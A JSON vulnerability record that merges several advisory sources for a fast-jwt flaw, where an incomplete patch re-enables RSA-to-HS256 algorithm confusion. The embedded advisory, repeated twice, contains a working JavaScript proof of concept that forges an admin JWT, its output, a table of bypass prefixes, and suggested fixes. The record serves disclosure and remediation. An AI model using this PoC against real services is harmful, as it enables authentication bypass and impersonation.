{"id":"CVE-2026-107722","aliases":["EUVD-2026-95347","GHSA-ww5h-9m49-7xx4"],"status":"published","title":"fast-jwt: Incomplete patch of CVE-2026-34950: Non-whitespace key-prefix re-enables RSA→HS256 algorithm confusion","description":"fast-jwt provides fast JSON Web Token (JWT) implementation. From 6.2.0 until 6.3.0, fast-jwt can misclassify RSA public-key text as an HMAC secret when the key has non-whitespace content before its PEM header. In src/crypto.js, performDetectPublicKeyAlgorithms trims whitespace but publicKeyPemMatcher remains start-anchored, so comments, control characters, zero-width characters, or wrapper text can prevent PEM detection and reach the HMAC fallback. An attacker who knows the public key bytes can sign arbitrary HS256 claims with that public material when HS256 is inferred or allowed, resulting in authentication or authorization bypass. An asymmetric-only algorithm allowlist prevents the attack. This issue is fixed in version 6.3.0.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00356,"percentile":0.29723,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-347"],"published":"2026-10-08T21:49:55Z","modified":"2026-10-28T02:30:21Z","fixes":[{"ecosystem":"npm","package":"fast-jwt","fixed_in":["6.3.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"fast-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.2.0"},{"last_affected":"6.2.4"},{"fixed":"6.3.0"}]}]},{"source":"osv","ecosystem":"npm","package":"fast-jwt","ranges":[{"type":"SEMVER","events":[{"introduced":"6.2.0"},{"fixed":"6.3.0"}]}]}],"products":[{"vendor":"nearform","product":"fast-jwt"}],"references":[{"url":"https://github.com/nearform/fast-jwt/security/advisories/GHSA-ww5h-9m49-7xx4","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/nearform/fast-jwt/pull/632","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/nearform/fast-jwt/commit/d96bbc6c5336055a6dbfa318fdbab01197264cfa","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/nearform/fast-jwt/releases/tag/v6.3.0","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-ww5h-9m49-7xx4"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/107xxx/CVE-2026-107722.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107722","tags":["advisory"]},{"url":"https://github.com/nearform/fast-jwt","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-107722","title":"fast-jwt: Incomplete patch of CVE-2026-34950: Non-whitespace key-prefix re-enables RSA→HS256 algorithm confusion","description":"fast-jwt provides fast JSON Web Token (JWT) implementation. From 6.2.0 until 6.3.0, fast-jwt can misclassify RSA public-key text as an HMAC secret when the key has non-whitespace content before its PEM header. In src/crypto.js, performDetectPublicKeyAlgorithms trims whitespace but publicKeyPemMatcher remains start-anchored, so comments, control characters, zero-width characters, or wrapper text can prevent PEM detection and reach the HMAC fallback. An attacker who knows the public key bytes can sign arbitrary HS256 claims with that public material when HS256 is inferred or allowed, resulting in authentication or authorization bypass. An asymmetric-only algorithm allowlist prevents the attack. This issue is fixed in version 6.3.0.","status":"published","published":"2026-10-08T21:49:55.888Z","modified":"2026-10-13T16:26:25.79Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T13:45:25.313702Z"}],"euvd":[{"id":"EUVD-2026-95347","description":"fast-jwt provides fast JSON Web Token (JWT) implementation. From 6.2.0 until 6.3.0, fast-jwt can misclassify RSA public-key text as an HMAC secret when the key has non-whitespace content before its PEM header. In src/crypto.js, performDetectPublicKeyAlgorithms trims whitespace but publicKeyPemMatcher remains start-anchored, so comments, control characters, zero-width characters, or wrapper text can prevent PEM detection and reach the HMAC fallback. An attacker who knows the public key bytes can sign arbitrary HS256 claims with that public material when HS256 is inferred or allowed, resulting in authentication or authorization bypass. An asymmetric-only algorithm allowlist prevents the attack. This issue is fixed in version 6.3.0.","status":"published","published":"2026-10-08T21:49:55Z","modified":"2026-10-13T16:26:25Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T17:27:20.028612Z"}],"ghsa":[{"id":"GHSA-ww5h-9m49-7xx4","title":"fast-jwt: Incomplete patch of CVE-2026-34950: Non-whitespace key-prefix re-enables RSA→HS256 algorithm confusion","description":"### Summary\n\nThe fix for CVE-2026-34950 (CVSS 9.1, released in v6.2.0) is **incomplete**. It adds `key.trim()` to the PEM-detection path in `src/crypto.js`, but `String.prototype.trim()` only strips characters classified as whitespace by the ECMAScript specification. The subsequent `^`-anchored regex (`/^-----BEGIN(?: (RSA))? PUBLIC KEY-----/`) still requires the PEM header at position 0 — so **any non-whitespace leading byte** (control chars, zero-width unicode, `#` comments, HTTP-style headers, PGP wrappers) bypasses detection and falls through to the HMAC verification path, using the RSA public key as the HMAC shared secret. Net result: the **exact same RSA→HS256 algorithm-confusion attack** the original CVE addressed is fully re-enabled with a slightly different leading byte.\n\n**Attack prerequisites are identical to CVE-2026-34950**: attacker knows the target's public RSA key (which is public by definition), and the target loads that key from a source whose content may have a non-whitespace prefix (DB column with corrupted encoding, YAML config with inline comment, copy-paste from formatted document, etc.).\n\n**Verified on fast-jwt@6.2.2 (latest as of 2026-04-23) with a 10-line PoC.**\n\n### Details\n\nPost-patch code (`src/crypto.js`, lines ~74-171 in `performDetectPublicKeyAlgorithms`):\n\n```js\nfunction performDetectPublicKeyAlgorithms(key) {\n    const trimmedKey = key.trim()  // \u003c-- CVE-2026-34950 patch added this\n    if (publicKeyPemMatcher.test(trimmedKey)) {\n        // treat as RSA/EC public key\n        ...\n    }\n    // fall-through: treat as HMAC secret  \u003c-- bug: reachable via non-whitespace prefix\n    ...\n}\nconst publicKeyPemMatcher = /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/\n```\n\n**The bug**: `String.prototype.trim()` only strips whitespace (U+0009-U+000D, U+0020, U+00A0, U+1680, U+2000-U+200A, U+2028-U+2029, U+202F, U+205F, U+3000, U+FEFF). Non-whitespace leading bytes keep the PEM header off position 0, the `^`-anchored regex fails, and execution falls through to the HMAC path with `key` being used as the shared secret. The attacker controls the token signature (signed with the same public key) and the verifier accepts.\n\nIdentical root cause as CVE-2026-34950 — the fix was textually narrow (whitespace only) rather than addressing the class (any surrounding content).\n\n### PoC\n\n```js\n'use strict';\nconst { createHmac, generateKeyPairSync } = require('node:crypto');\nconst { createVerifier } = require('fast-jwt');\n\nconst { publicKey } = generateKeyPairSync('rsa', { modulusLength: 2048 });\nconst pem = publicKey.export({ type: 'pkcs1', format: 'pem' }).toString();\n\n// Attacker-controlled \"key\" content as loaded by the verifier\n// (models a realistic deployment: key with a leading metadata comment)\nconst key = '# some comment\\n' + pem;\n\nconst header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url');\nconst payload = Buffer.from(JSON.stringify({ admin: true, sub: 'attacker' })).toString('base64url');\nconst sig = createHmac('sha256', key).update(header + '.' + payload).digest('base64url');\nconst forgedToken = header + '.' + payload + '.' + sig;\n\nconst verifier = createVerifier({ key });\nconsole.log('Forged token payload:', verifier(forgedToken));\nconsole.log('Package version:', require('fast-jwt/package.json').version);\n```\n\n**Observed output (2026-04-23, fresh npm install):**\n```\nForged token payload: { admin: true, sub: 'attacker' }\nPackage version: 6.2.2\n```\n\n### Full bypass matrix (all verified accepting a forged admin token)\n\n| Leading content | Accepted as admin? |\n|---|:-:|\n| `# some comment\\n` + PEM | ✅ BYPASS |\n| `U+0000` (NUL) + PEM | ✅ BYPASS |\n| `U+0001` (SOH) + PEM | ✅ BYPASS |\n| `U+0008` (BACKSPACE) + PEM | ✅ BYPASS |\n| `U+001B` (ESC, ANSI-color) + PEM | ✅ BYPASS |\n| `U+007F` (DEL) + PEM | ✅ BYPASS |\n| `U+200B` (ZWSP) + PEM | ✅ BYPASS |\n| `U+200D` (ZWJ) + PEM | ✅ BYPASS |\n| `HTTP/1.1 200 OK\\r\\n\\r\\n` + PEM | ✅ BYPASS |\n| PGP-wrapper text + PEM | ✅ BYPASS |\n| `.` + PEM | ✅ BYPASS |\n| `U+FEFF` (BOM) + PEM | ❌ correctly stripped by trim |\n\n### Defense matrix (which caller configs are vulnerable)\n\n| Caller config | Vulnerable? |\n|---|:-:|\n| `createVerifier({ key })` (no `algorithms` allowlist) | ✗ VULNERABLE |\n| `createVerifier({ key: asyncCallback })` | ✗ VULNERABLE |\n| `createVerifier({ key, algorithms: ['RS256'] })` | ✓ protected |\n| `createVerifier({ key, algorithms: ['HS256'] })` | ✗ VULNERABLE (attacker matches) |\n\n### Impact\n\n1. **Authentication bypass** — attacker forges arbitrary JWT claims (admin, tenant-id, user-id) accepted by any server using fast-jwt 6.2.x without an `algorithms` allowlist AND loading its verification key from a source that may contain non-whitespace prefix bytes.\n2. **Severity-parity with CVE-2026-34950** — attack chain, prerequisites, exploitation ease, and impact are identical; only the trigger byte differs. The fix addressed *one* trigger (whitespace) rather than the class (any surrounding content before `-----BEGIN`).\n3. **Broad fast-jwt deployment** — default JWT backend of `@fastify/jwt`; used by many Fastify-based Node.js APIs.\n\n### Suggested fix\n\n**Option A (minimal)** — locate the PEM block rather than anchoring on position 0:\n\n```js\nconst pemStart = trimmedKey.indexOf('-----BEGIN')\nif (pemStart !== -1 \u0026\u0026 publicKeyPemMatcher.test(trimmedKey.slice(pemStart))) { ... }\n```\n\n**Option B (strict, recommended)** — require the key to be exactly a PEM block:\n\n```js\nconst pemMatch = /-----BEGIN (RSA )?PUBLIC KEY-----[\\s\\S]+?-----END \\1?PUBLIC KEY-----/.exec(trimmedKey)\nif (pemMatch \u0026\u0026 pemMatch[0].trim() === trimmedKey.trim()) { /* valid PEM, no surrounding content */ }\n```\n\n**Option C (defense-in-depth, regardless of A/B)** — on the HMAC fallback path, reject any key that *contains* PEM markers:\n\n```js\nif (rawKey.includes('-----BEGIN') || rawKey.includes('-----END')) {\n    throw new Error('Key appears to be a PEM-encoded asymmetric key but did not match expected format; refusing HMAC fallback')\n}\n```\n\n### Test coverage gap\n\n`test/crypto.spec.js` post-CVE-2026-34950 only tests whitespace padding (`['\\n', ' ', ' \\n', '\\n ', '\\t\\t']`). Add coverage for:\n- Control bytes (U+0000-U+001F, U+007F)\n- Zero-width Unicode (U+200B, U+200C, U+200D, U+180E)\n- Comment prefixes (`#`, `//`, `;`, `--`)\n- Mixed-content wrappers (PGP blocks, HTTP headers)\n- Arbitrary binary prefix bytes\n\n### Credit\n\nReporter: DC INFOSEC / n0l3x — source-code review + end-to-end PoC verification.","status":"published","published":"2026-10-08T22:02:07Z","modified":"2026-10-08T22:02:08Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T14:41:30.097746Z"}],"nvd":[{"id":"CVE-2026-107722","description":"fast-jwt provides fast JSON Web Token (JWT) implementation. From 6.2.0 until 6.3.0, fast-jwt can misclassify RSA public-key text as an HMAC secret when the key has non-whitespace content before its PEM header. In src/crypto.js, performDetectPublicKeyAlgorithms trims whitespace but publicKeyPemMatcher remains start-anchored, so comments, control characters, zero-width characters, or wrapper text can prevent PEM detection and reach the HMAC fallback. An attacker who knows the public key bytes can sign arbitrary HS256 claims with that public material when HS256 is inferred or allowed, resulting in authentication or authorization bypass. An asymmetric-only algorithm allowlist prevents the attack. This issue is fixed in version 6.3.0.","status":"published","published":"2026-10-08T22:17:28.447Z","modified":"2026-10-13T17:17:16.97Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T14:12:55.142936Z"}],"osv":[{"id":"CVE-2026-107722","title":"fast-jwt: Incomplete patch of CVE-2026-34950: Non-whitespace key-prefix re-enables RSA→HS256 algorithm confusion","description":"fast-jwt provides fast JSON Web Token (JWT) implementation. From 6.2.0 until 6.3.0, fast-jwt can misclassify RSA public-key text as an HMAC secret when the key has non-whitespace content before its PEM header. In src/crypto.js, performDetectPublicKeyAlgorithms trims whitespace but publicKeyPemMatcher remains start-anchored, so comments, control characters, zero-width characters, or wrapper text can prevent PEM detection and reach the HMAC fallback. An attacker who knows the public key bytes can sign arbitrary HS256 claims with that public material when HS256 is inferred or allowed, resulting in authentication or authorization bypass. An asymmetric-only algorithm allowlist prevents the attack. This issue is fixed in version 6.3.0.","status":"published","published":"2026-10-08T21:49:55.888Z","modified":"2026-10-28T02:30:21.112807789Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T15:44:54.933106Z"},{"id":"GHSA-ww5h-9m49-7xx4","title":"fast-jwt: Incomplete patch of CVE-2026-34950: Non-whitespace key-prefix re-enables RSA→HS256 algorithm confusion","description":"### Summary\n\nThe fix for CVE-2026-34950 (CVSS 9.1, released in v6.2.0) is **incomplete**. It adds `key.trim()` to the PEM-detection path in `src/crypto.js`, but `String.prototype.trim()` only strips characters classified as whitespace by the ECMAScript specification. The subsequent `^`-anchored regex (`/^-----BEGIN(?: (RSA))? PUBLIC KEY-----/`) still requires the PEM header at position 0 — so **any non-whitespace leading byte** (control chars, zero-width unicode, `#` comments, HTTP-style headers, PGP wrappers) bypasses detection and falls through to the HMAC verification path, using the RSA public key as the HMAC shared secret. Net result: the **exact same RSA→HS256 algorithm-confusion attack** the original CVE addressed is fully re-enabled with a slightly different leading byte.\n\n**Attack prerequisites are identical to CVE-2026-34950**: attacker knows the target's public RSA key (which is public by definition), and the target loads that key from a source whose content may have a non-whitespace prefix (DB column with corrupted encoding, YAML config with inline comment, copy-paste from formatted document, etc.).\n\n**Verified on fast-jwt@6.2.2 (latest as of 2026-04-23) with a 10-line PoC.**\n\n### Details\n\nPost-patch code (`src/crypto.js`, lines ~74-171 in `performDetectPublicKeyAlgorithms`):\n\n```js\nfunction performDetectPublicKeyAlgorithms(key) {\n    const trimmedKey = key.trim()  // \u003c-- CVE-2026-34950 patch added this\n    if (publicKeyPemMatcher.test(trimmedKey)) {\n        // treat as RSA/EC public key\n        ...\n    }\n    // fall-through: treat as HMAC secret  \u003c-- bug: reachable via non-whitespace prefix\n    ...\n}\nconst publicKeyPemMatcher = /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/\n```\n\n**The bug**: `String.prototype.trim()` only strips whitespace (U+0009-U+000D, U+0020, U+00A0, U+1680, U+2000-U+200A, U+2028-U+2029, U+202F, U+205F, U+3000, U+FEFF). Non-whitespace leading bytes keep the PEM header off position 0, the `^`-anchored regex fails, and execution falls through to the HMAC path with `key` being used as the shared secret. The attacker controls the token signature (signed with the same public key) and the verifier accepts.\n\nIdentical root cause as CVE-2026-34950 — the fix was textually narrow (whitespace only) rather than addressing the class (any surrounding content).\n\n### PoC\n\n```js\n'use strict';\nconst { createHmac, generateKeyPairSync } = require('node:crypto');\nconst { createVerifier } = require('fast-jwt');\n\nconst { publicKey } = generateKeyPairSync('rsa', { modulusLength: 2048 });\nconst pem = publicKey.export({ type: 'pkcs1', format: 'pem' }).toString();\n\n// Attacker-controlled \"key\" content as loaded by the verifier\n// (models a realistic deployment: key with a leading metadata comment)\nconst key = '# some comment\\n' + pem;\n\nconst header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url');\nconst payload = Buffer.from(JSON.stringify({ admin: true, sub: 'attacker' })).toString('base64url');\nconst sig = createHmac('sha256', key).update(header + '.' + payload).digest('base64url');\nconst forgedToken = header + '.' + payload + '.' + sig;\n\nconst verifier = createVerifier({ key });\nconsole.log('Forged token payload:', verifier(forgedToken));\nconsole.log('Package version:', require('fast-jwt/package.json').version);\n```\n\n**Observed output (2026-04-23, fresh npm install):**\n```\nForged token payload: { admin: true, sub: 'attacker' }\nPackage version: 6.2.2\n```\n\n### Full bypass matrix (all verified accepting a forged admin token)\n\n| Leading content | Accepted as admin? |\n|---|:-:|\n| `# some comment\\n` + PEM | ✅ BYPASS |\n| `U+0000` (NUL) + PEM | ✅ BYPASS |\n| `U+0001` (SOH) + PEM | ✅ BYPASS |\n| `U+0008` (BACKSPACE) + PEM | ✅ BYPASS |\n| `U+001B` (ESC, ANSI-color) + PEM | ✅ BYPASS |\n| `U+007F` (DEL) + PEM | ✅ BYPASS |\n| `U+200B` (ZWSP) + PEM | ✅ BYPASS |\n| `U+200D` (ZWJ) + PEM | ✅ BYPASS |\n| `HTTP/1.1 200 OK\\r\\n\\r\\n` + PEM | ✅ BYPASS |\n| PGP-wrapper text + PEM | ✅ BYPASS |\n| `.` + PEM | ✅ BYPASS |\n| `U+FEFF` (BOM) + PEM | ❌ correctly stripped by trim |\n\n### Defense matrix (which caller configs are vulnerable)\n\n| Caller config | Vulnerable? |\n|---|:-:|\n| `createVerifier({ key })` (no `algorithms` allowlist) | ✗ VULNERABLE |\n| `createVerifier({ key: asyncCallback })` | ✗ VULNERABLE |\n| `createVerifier({ key, algorithms: ['RS256'] })` | ✓ protected |\n| `createVerifier({ key, algorithms: ['HS256'] })` | ✗ VULNERABLE (attacker matches) |\n\n### Impact\n\n1. **Authentication bypass** — attacker forges arbitrary JWT claims (admin, tenant-id, user-id) accepted by any server using fast-jwt 6.2.x without an `algorithms` allowlist AND loading its verification key from a source that may contain non-whitespace prefix bytes.\n2. **Severity-parity with CVE-2026-34950** — attack chain, prerequisites, exploitation ease, and impact are identical; only the trigger byte differs. The fix addressed *one* trigger (whitespace) rather than the class (any surrounding content before `-----BEGIN`).\n3. **Broad fast-jwt deployment** — default JWT backend of `@fastify/jwt`; used by many Fastify-based Node.js APIs.\n\n### Suggested fix\n\n**Option A (minimal)** — locate the PEM block rather than anchoring on position 0:\n\n```js\nconst pemStart = trimmedKey.indexOf('-----BEGIN')\nif (pemStart !== -1 \u0026\u0026 publicKeyPemMatcher.test(trimmedKey.slice(pemStart))) { ... }\n```\n\n**Option B (strict, recommended)** — require the key to be exactly a PEM block:\n\n```js\nconst pemMatch = /-----BEGIN (RSA )?PUBLIC KEY-----[\\s\\S]+?-----END \\1?PUBLIC KEY-----/.exec(trimmedKey)\nif (pemMatch \u0026\u0026 pemMatch[0].trim() === trimmedKey.trim()) { /* valid PEM, no surrounding content */ }\n```\n\n**Option C (defense-in-depth, regardless of A/B)** — on the HMAC fallback path, reject any key that *contains* PEM markers:\n\n```js\nif (rawKey.includes('-----BEGIN') || rawKey.includes('-----END')) {\n    throw new Error('Key appears to be a PEM-encoded asymmetric key but did not match expected format; refusing HMAC fallback')\n}\n```\n\n### Test coverage gap\n\n`test/crypto.spec.js` post-CVE-2026-34950 only tests whitespace padding (`['\\n', ' ', ' \\n', '\\n ', '\\t\\t']`). Add coverage for:\n- Control bytes (U+0000-U+001F, U+007F)\n- Zero-width Unicode (U+200B, U+200C, U+200D, U+180E)\n- Comment prefixes (`#`, `//`, `;`, `--`)\n- Mixed-content wrappers (PGP blocks, HTTP headers)\n- Arbitrary binary prefix bytes\n\n### Credit\n\nReporter: DC INFOSEC / n0l3x — source-code review + end-to-end PoC verification.","status":"published","published":"2026-10-08T22:02:07Z","modified":"2026-10-08T22:15:05.895384054Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T15:46:59.131095Z"}]}}